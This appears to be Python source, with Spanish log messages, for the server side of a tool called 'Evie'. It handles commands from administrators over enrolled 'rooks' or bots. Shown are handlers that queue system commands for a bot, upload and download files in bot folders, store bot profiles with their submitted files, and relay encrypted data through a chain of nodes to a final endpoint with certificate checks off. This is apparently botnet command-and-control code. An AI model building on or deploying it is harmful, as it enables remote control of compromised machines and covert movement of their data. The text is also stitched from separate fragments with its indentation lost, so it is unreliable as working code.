result = log.logger('Error actualizando el nodo: "ID:{}"'.format(node_id), debug.COM)
execute = False
else:
execute = False
elif (key == 'access_list'):
log.logger('Enviando lista de las fechas de inicio de sesión ..."', debug.INF)
end_limit = check_int.check(value)
if not (end_limit == None):
result = listOrder(admin, 'lastLogin', end_limit, agent=wrap.USE_ADMIN)
else:
result = log.logger(convert_int_error.format(value))
execute = False
elif (key == 'ping'):
log.logger('ping ... haciendo pong ...', debug.INF)
elif (key == 'getPeers'):
log.logger('Obtendrá todos los puntos de la red ...', debug.WAR)
result = wrap.getall(wrap.USE_PEER)
if (len(result) == 0):
result = log.logger('Aún no hay nodos en la red...', debug.WAR)
execute = False
else:
log.logger('Mandando %d puntos ...' % (len(result)), debug.PER)
elif (key == 'upload'):
if (check_values.check(value, 3) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
_content = value[0]
_filename = os.path.basename(str(value[1]))
bot_id = os.path.basename(str(value[2]))
if (admin_in_bot.check(admin, bot_id)):
_save = '%s/%s' % (share_folder, bot_id)
create_folder.create(_save)
_save += '/%s' % (_filename)
log.logger('Escribiendo archivo "{}" ...'.format(_save), debug.PER)
_bak_save = rename_order.rename(_save)
if not (_bak_save == False):
log.logger('El archivo ya existe ...', debug.WAR)
_save = _bak_save
log.logger('Renombrado a: "{}"'.format(_save), debug.PER)
try:
if (cipher_file == True):
wrap_file.wrap(_save, wrap._new_passwd, _content)
else:
with open(_save, 'wb') as file_object:
file_object.write(bytes_convert.convert(_content))
except Exception as Except:
result = log.logger('Ocurrio una excepción escribiendo a: "{}". Excepción: "{}"'.format(_filename, Except), debug.WAR)
execute = False
else:
result = log.logger('El archivo "{}" fue subido satisfactoriamente ...'.format(_filename), debug.PER)
else:
result = log.logger('No tiene permiso para subir el archivo "{}" a el espacio de directorio de "{}"'.format(_filename, bot_id), debug.COM)
execute = False
elif (key == 'download'):
if (check_values.check(value, 2) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
_filename = os.path.basename(str(value[0]))
bot_id = os.path.basename(str(value[1]))
if (admin_in_bot.check(admin, bot_id)):
_save = '{}/{}/{}'.format(profile_folder, bot_id, _filename)
log.logger('Quiere recuperar el archivo: "{}" ...'.format(_save), debug.PER)
if (os.path.isfile(_save)):
log.logger('Leyendo archivo ...', debug.INF)
try:
if (cipher_file == True):
result = wrap_file.wrap(_save, wrap._new_passwd)
if (result == False):
log.logger('{}, no se pudo desencriptar..., Intentando sin desencriptar...'.format(_save), debug.WAR)
if (result == False) or (cipher_file == False):
with open(_save, 'rb') as file_object:
result = file_object.read()
except Exception as Except:
result = log.logger('Ocurrio una excepción leyendo a: "{}". Excepción: "{}"'.format(_filename, Except), debug.WAR)
execute = False
else:
log.logger('Leido.', debug.INF)
log.logger('Enviando archivo: "{}" ...'.format(_save), debug.PER)
else:
result = log.logger('El archivo "{}" no existe ...'.format(os.path.basename(_save)), debug.WAR)
execute = False
else:
result = log.logger('No tiene permiso para descargar el archivo "{}" de "{}"'.format(os.path.basename(_save), value[1]), debug.COM)
execute = False
elif (key == 'sharedFiles'):
if (check_values.check(value, 3) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
_bot_id = os.path.basename(str(value[0]))
end_limit = check_int.check(value[1])
pattern = str(value[2])
_files = '{}/{}'.format(share_folder, _bot_id)
log.logger('Mandando lista de archivos compartidos de "{}"'.format(_bot_id), debug.WAR)
if not (end_limit == None):
if (os.path.isdir(_files)):
result = []
for _ in listLimit.list_(sorted(os.listdir(_files)), end_limit):
result.append(_) if (re.search(pattern, _, re.IGNORECASE)) else None
if (len(result) == 0):
log.logger('¡No se obtuvo ninguna coincidencia!', debug.WAR)
else:
log.logger('Mandado %d archivos ...' % (len(result)), debug.PER)
else:
result = log.logger('No se ha creado el directorio compartido de: "{}"'.format(_bot_id), debug.WAR)
execute = False
else:
result = log.logger(convert_int_error.format(value[1]), debug.WAR)
execute = False
elif (key == 'listFiles'):
if (check_values.check(value, 3) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
_bot_id = os.path.basename(str(value[0]))
_files = '{}/{}'.format(profile_folder, _bot_id)
end_limit = check_int.check(value[1])
pattern = str(value[2])
log.logger('Mandando lista de archivos de "{}"'.format(_bot_id), debug.WAR)
if not (end_limit == None):
if (os.path.isdir(_files)):
result = []
for _ in listLimit.list_(sorted(os.listdir(_files)), end_limit):
result.append(_) if (re.search(pattern, _, re.IGNORECASE)) else None
if (len(result) == 0):
log.logger('¡No se obtuvo ninguna coincidencia!', debug.WAR)
else:
log.logger('Mandando %d archivos ...' % (len(result)), debug.PER)
else:
result = log.logger('El directorio de perfil de "{}" no existe ...'.format(_bot_id), debug.COM)
execute = False
else:
result = log.logger(convert_int_error.format(value[1]), debug.WAR)
execute = False
elif (key == 'addQueue'):
if (check_values.check(value, 3) == False):
result = log.logger(nomenclature_error, debug.WAR)
execute = False
else:
_bot_id = str(value[1])
_command = str(value[0])
_args = value[2]
if (isinstance(_args, dict)):
log.logger('Agregará un comando del sistema a la cola de: "{}"'.format(_bot_id), debug.PER)
if (admin_in_bot.check(admin, _bot_id)):
if (wrap.write(_bot_id, 'Queue', [_command, _args], separate=True) == True):
result = log.logger('Se agregó "{}" a la cola ...'.format(_command), debug.PER)
else:
result = log.logger('Error agregando el comando del sistema "{}" a "{}"'.format(_command, _bot_id), debug.COM)
execute = False
else:
result = log.logger('No tiene permiso de agregarle "{}" a "{}" ...'.format(_command, _bot_id), debug.WAR)
execute = False
else:
result = log.logger('¡El tipo de dato de los parámetros no es correcto!', debug.WAR)
execute = False
else:
return(False)
return(execute, result)
try:
result = wrap_file.wrap(input_, password)
if (result == False):
verbose('Error desencriptado a: "{}"'.format(input_))
else:
_bak_output = rename_order.rename(output)
if not (_bak_output == False) and not (no_rename == True):
output = _bak_output
with open(output, 'wb') as _file_object:
_file_object.write(bytes_convert.convert(result))
verbose('Desencriptado: {} -> {}'.format(input_, output))
except Exception as Except:
verbose('Ocurrio una excepción desconocida: {}'.format(Except))
else:
verbose('El archivo "{}" no existe...'.format(input_))
def execute(data, log):
if not (isinstance(data, dict)):
log.logger('¡El tipo de dato de los datos no es correcto!', debug.WAR)
return (False)
if (len(data) != 2):
log.logger('¡La longitud de los datos no es correcta!', debug.WAR)
return (False)
if (data.get('token') == None) or (data.get('command') == None):
log.logger('¡Hace falta el token o el comando!', debug.WAR)
return (False)
_keys = wrap.read('keys', agent=wrap.USE_SERVER)
if (_keys == False):
log.logger('No se pudo leer el par de claves de Evie...', debug.COM)
return (False)
(pub_key, priv_key) = (_keys['public_key'], _keys['private_key'])
real_token = wrap.read('token', 'token', agent=wrap.USE_TOKEN)
real_secret_key = wrap.read('secret_key',
'secret_key',
agent=wrap.USE_SECRET_KEY)
if (real_token == False):
log.logger('No se pudo leer el token de acceso...', debug.COM)
return (False)
token = data['token']
if not (isinstance(token, str)):
log.logger('El tipo de dato del token de acceso no es correcto...',
debug.WAR)
return (False)
if (token == real_token):
log.logger('Correcto, el token de acceso es correcto ...', debug.INF)
else:
log.logger('Incorrecto, el token de acceso es incorrecto ...',
debug.COM)
return (False)
(key, value) = data['command']
if not (isinstance(key, str)):
log.logger('¡El tipo de dato del comando o el valor no es correcto!',
debug.WAR)
return (False)
if not (public_service == False):
if not (key in public_service):
log.logger(
'%s, No está habilitado en estos momentos o no existe ...' %
(key), debug.WAR)
return (False)
if (key == 'getPubKey'):
log.logger('Desea obtener la clave pública del servidor ...',
debug.WAR)
return (pub_key)
elif (key == 'saveData'):
log.logger('Construyendo perfil de un rook ...', debug.INF)
if not (isinstance(value, list)):
log.logger('¡El tipo de dato no es correcto!', debug.WAR)
return (False)
if (len(value) != 2):
log.logger('La longitud de los datos no es correcta', debug.WAR)
return (False)
if not (isinstance(value[0], dict)) or not (isinstance(value[1],
dict)):
log.logger(
'El tipo de dato de la información del rook o los archivos de él, no es correcto',
debug.WAR)
return (False)
(bot_id, bot_data) = tuple(value[0].items())[0]
if not (isinstance(bot_data, dict)):
log.logger(
'El tipo de dato de la información del rook no es correcto',
debug.WAR)
return (False)
for _ in global_conf.keys_bot:
if (key_check_in_dict.check(bot_data, _) == False):
log.logger(
'No está definido la clave "{}" en la información del rook'
.format(_), debug.WAR)
return (False)
profile_dir = '{}/{}/{}/{}'.format(getcwd(),
global_conf.databases['database'],
global_conf.databases['profiles'],
bot_id)
if not isdir(profile_dir):
makedirs(profile_dir)
log.logger('Creado, el directorio de perfil: "%s"' % (profile_dir),
debug.PER)
bot_data['profile'] = profile_dir
bot_data['admins'] = real_extract_root_administrators.extract()
if (bot_id in show_user_rooks.show()):
log.logger(
'No se puede almacenar los datos de "%s" en el almacén, porque ya existe'
% (bot_id), debug.WAR)
return (False)
log.logger('Almacenando datos de "%s" en el almacén ...' % (bot_id),
debug.PER)
if (wrap.add(bot_id, bot_data, username=bot_id,
separate=True) == True):
log.logger(
'Se almacenaron los datos de "%s" con éxito.' % (bot_id),
debug.PER)
if not (value[1] == {}):
log.logger('Almacenando archivos ...', debug.INF)
for filename, content_file in value[1].items():
filename = '%s/%s' % (profile_dir, basename(filename))
_bak_filename = rename_order.rename(filename)
if not (_bak_filename == False):
filename = _bak_filename
log.logger('Escribiendo: "%s" ...' % (filename), debug.PER)
try:
with open(filename, 'wb') as _obj:
_obj.write(bytes_convert.convert(content_file))
except Exception as Except:
log.logger(
'Error escribiendo: {}. Excepción: {}'.format(
filename, Except), debug.COM)
else:
log.logger('Escrito: "%s"' % (filename), debug.PER)
return (True)
else:
log.logger('No se guardaron los datos en el almacén ... ')
return (False)
elif (key == 'resend'):
if (len(value) != 2):
log.logger(
'¡La longitud de los datos de los nodos no es correcta!',
debug.WAR)
return (False)
(nodes, reply) = value
if not (isinstance(reply, dict)):
log.logger(
'¡El tipo de dato de la réplica de los datos no es correcto!',
debug.WAR)
return (False)
if (len(reply) != 9):
log.logger(
'¡La longitud de la réplica de los datos no es correcta!',
debug.WAR)
return (False)
for _ in [
'username', 'passphrase', 'uniqkey', 'iterations',
'security_number', 'decrement_number', 'chars', 'data', 'reply'
]:
if (key_check_in_dict.check(reply, _) == False):
log.logger('¡{}, No está incluida en la réplica!'.format(_),
debug.WAR)
return (False)
if not (isinstance(nodes, dict)):
log.logger(
'¡El tipo de dato de los nodos intermedios no es correcto!',
debug.WAR)
return (False)
if not (len(nodes) >= 2):
log.logger('¡La longitud de los nodos no es correcta!', debug.WAR)
return (False)
check_nodes = [nodes[x] for x in nodes]
if not ([] == [None for x in check_nodes if (len(x) != 3)]):
log.logger('¡La longitud de un intermedio no es correcta!',
debug.WAR)
return (False)
if (check_nodes[0][0] != 0):
log.logger('¡No se puede enviar datos al nodo inicial!', debug.WAR)
return (False)
nodes_list = list(nodes)
for _key, _value in nodes.items():
(_init, _token, url_sum) = _value
if not (isinstance(_init, int)):
log.logger('¡El tipo de dato del indicador no es correcto!',
debug.WAR)
return (False)
if (_init > 1) or (_init < 0):
log.logger('¡El indicador no es correcto!', debug.WAR)
return (False)
if (_init == 1):
nodes[_key][0] = 0
break
try:
_key = simplycrypt.decrypt(real_secret_key, _key)
except:
log.logger(
'¡Error desencriptando la dirección URL del siguiente nodo!',
debug.COM)
return (False)
if (len(url_sum) != 40):
log.logger(
'¡La longitud de la suma de verificación de la URL no es correcta!',
debug.WAR)
return (False)
end_point = nodes[nodes_list[-1]][-1]
if not (url_sum == end_point):
try:
_token = simplycrypt.decrypt(real_secret_key, _token)
except:
log.logger(
'¡Error desencriptando el token de acceso de "{}"!'.format(
_key), debug.WAR)
return (False)
log.logger('Enviando datos al siguiente nodo -> %s' % (_key),
debug.PER)
_data = connector.connect(_key,
_token,
'resend', (nodes, reply),
log,
headers={'User-Agent': user_agent})
log.logger('Re-enviado ...', debug.INF)
else:
log.logger('Re-enviando datos al nodo final -> "%s"' % (_key),
debug.PER)
try:
_data = requests.post(_key,
data=reply,
timeout=global_conf.connector['timeout'],
verify=False,
headers={
'User-Agent': user_agent
}).content
except Exception as Except:
_data = str(Except)
log.logger('Ocurrio una excepción: "%s"' % (Except), debug.WAR)
else:
log.logger('Los datos se re-enviaron satisfactoriamente ...',
debug.INF)
return (_data)
elif (key == 'sendSOS'):
log.logger('Envió un mensaje ...', debug.INF)
log.logger('Gurdando ...', debug.INF)
if not (isinstance(value, dict)):
log.logger(
'¡No está siguiendo la especificación para almacenar mensajes!',
debug.WAR)
return (False)
for _ in ['nickname', 'subject', 'message', 'files']:
if (value.get(_) == None):
log.logger('Falta definir: "%s"' % (_), debug.WAR)
return (False)
nickname = str(value['nickname'])
subject = str(value['subject'][:98])
message = str(value['message'])
for _ in [nickname, subject, message]:
if (_.strip() == ''):
log.logger('¡Hay campos vacios!', debug.WAR)
return (False)
time_ = time()
_files = value['files']
_folder = None
if not (isinstance(_files, list)):
log.logger('¡El tipo de dato de los archivos no es correcto!',
debug.WAR)
return (False)
_message_id = generate_uniqkey.generate()
log.logger('ID: %s' % (_message_id), debug.PER)
if not (_files == []):
_folder = '%s/%s' % (public_files, _message_id)
create_folder.create(_folder)
for _ in _files:
if (len(_) != 2):
log.logger('¡La longitud de la tupla no es correcta!',
debug.WAR)
return (False)
(_filename, _content) = _
_filename = basename(str(_filename))
log.logger('Envió un archivo: {}'.format(_filename), debug.PER)
log.logger('Escribiendo ...', debug.INF)
_save = '%s/%s' % (_folder, _filename)
try:
with open(_save, 'wb') as _file_object:
_file_object.write(bytes_convert.convert(_content))
except Exception as Except:
log.logger(
'Ocurrio una excepción al guardar a "{}". Excepción: {}'
.format(_filename, Except))
else:
log.logger('Escrito: %s' % (_save), debug.PER)
if (wrap.add(_message_id, {
'nickname': nickname,
'subject': subject,
'message': message,
'time': time_,
'profile': _folder
},
agent=wrap.USE_MESSAGE) == True):
log.logger('Guardado: %s' % (_message_id), debug.PER)
return (True)
else:
log.logger('No se pudo guardar el mensaje: %s' % (_message_id),
debug.WAR)
return (False)
else:
return (False)
